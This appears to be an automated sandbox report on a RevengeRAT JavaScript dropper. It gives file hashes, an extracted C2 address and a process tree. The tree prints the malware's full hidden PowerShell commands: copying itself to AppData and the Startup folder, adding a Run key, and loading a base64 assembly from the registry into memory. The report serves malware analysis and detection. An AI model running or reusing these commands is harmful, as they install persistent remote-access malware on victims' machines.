revengerat | 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

General

Target

213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
Size

60KB
MD5

14e68a45361bb287393747ce2b271838
SHA1

16144ac8dc7ecc27e4667a3241da8810f8b84778
SHA256

213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
SHA512

1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb
SSDEEP

768:tvRmozOfNAG9lUAy1NgRXbkDvAAdkqC9m3ppOJlPcLNdpgF3hFAto:94oifpTq1NxAAiqC9mZpk8NdpW3hF2o

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow	pid	Process
2	2764	powershell.exe
3	2764	powershell.exe
4	2764	powershell.exe
5	2764	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2744	powershell.exe
2788	powershell.exe
3024	powershell.exe
2764	powershell.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2744	powershell.exe
2788	powershell.exe
3024	powershell.exe
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

wscript.exepowershell.exewscript.exe

description	pid	Process	procid_target
PID 2208 wrote to memory of 2744	2208	wscript.exe	30
PID 2208 wrote to memory of 2744	2208	wscript.exe	30
PID 2208 wrote to memory of 2744	2208	wscript.exe	30
PID 2744 wrote to memory of 1508	2744	powershell.exe	32
PID 2744 wrote to memory of 1508	2744	powershell.exe	32
PID 2744 wrote to memory of 1508	2744	powershell.exe	32
PID 1508 wrote to memory of 3024	1508	wscript.exe	33
PID 1508 wrote to memory of 3024	1508	wscript.exe	33
PID 1508 wrote to memory of 3024	1508	wscript.exe	33
PID 1508 wrote to memory of 2788	1508	wscript.exe	35
PID 1508 wrote to memory of 2788	1508	wscript.exe	35
PID 1508 wrote to memory of 2788	1508	wscript.exe	35
PID 1508 wrote to memory of 2764	1508	wscript.exe	37
PID 1508 wrote to memory of 2764	1508	wscript.exe	37
PID 1508 wrote to memory of 2764	1508	wscript.exe	37

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

Filesize
60KB

MD5
14e68a45361bb287393747ce2b271838

SHA1
16144ac8dc7ecc27e4667a3241da8810f8b84778

SHA256
213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

SHA512
1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c10f996481440ace7fa175ba35e550fb

SHA1
6513a6ba964b6d1d09ce21952070e683958e47aa

SHA256
9b2a214f257d6b0766a92c915b41706d1128aa123d6332f5004478a4a648a227

SHA512
c14d6497af63c2dc66f88ebd93aec1b933f4336a2335042f22ae26cbb35a0b183e6f56db21b4d7d31ad7236bf4daebc97e586176b0c40949b184f9651b5ac319

Download Submit
memory/2744-7-0x0000000002570000-0x0000000002578000-memory.dmp

Filesize
32KB

Download
memory/2744-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

Filesize
4KB

Download
memory/2744-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2744-13-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-6-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-31-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-32-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

Filesize
4KB

Download
memory/2764-30-0x0000000002650000-0x000000000265A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads